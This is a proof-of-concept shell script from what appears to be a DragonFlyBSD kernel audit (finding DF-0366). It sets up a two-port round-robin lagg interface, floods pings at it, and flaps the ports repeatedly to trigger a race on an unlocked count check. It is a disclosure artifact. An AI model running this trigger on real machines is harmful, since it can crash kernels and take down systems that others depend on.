DragonFlyBSD Kernel Audit
DF-0366 / race.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-0366 race trigger — round-robin lagg with 2 ports, flapping ports
# while flooding UDP TX. Tries to win the lockless-sc_count-check window.
# Run as root.
set -e
LAGG=lagg0
P1=tap0
P2=tap1

# Cleanup any prior state
ifconfig $LAGG destroy 2>/dev/null || true
ifconfig $P1 destroy 2>/dev/null || true
ifconfig $P2 destroy 2>/dev/null || true
[ -c /dev/tap ] || kldload if_tap 2>/dev/null || true

# Setup
ifconfig $P1 create && ifconfig $P1 up
ifconfig $P2 create && ifconfig $P2 up
ifconfig $LAGG create
ifconfig $LAGG up
ifconfig $LAGG laggproto roundrobin
ifconfig $LAGG laggport $P1
ifconfig $LAGG laggport $P2
ifconfig $LAGG 192.168.99.1 netmask 255.255.255.0

echo "=== setup ==="
ifconfig $LAGG | head -8

# UDP TX hammer (background)
(
  while true; do
    for i in 1 2 3 4 5 6 7 8 9 10; do
      ping -c 1 -t 1 192.168.99.99 >/dev/null 2>&1 || true
    done
  done
) &
TXPID=$!

# Port flap loop (foreground)
echo "=== racing (200 iterations) ==="
for i in $(seq 1 200); do
  ifconfig $LAGG -laggport $P2 2>/dev/null || true
  ifconfig $LAGG -laggport $P1 2>/dev/null || true
  ifconfig $LAGG laggport $P1 2>/dev/null || true
  ifconfig $LAGG laggport $P2 2>/dev/null || true
done

kill $TXPID 2>/dev/null || true
wait $TXPID 2>/dev/null || true
echo "=== race done; guest status ==="
uname -a
ifconfig $LAGG destroy 2>/dev/null || true
ifconfig $P1 destroy 2>/dev/null || true
ifconfig $P2 destroy 2>/dev/null || true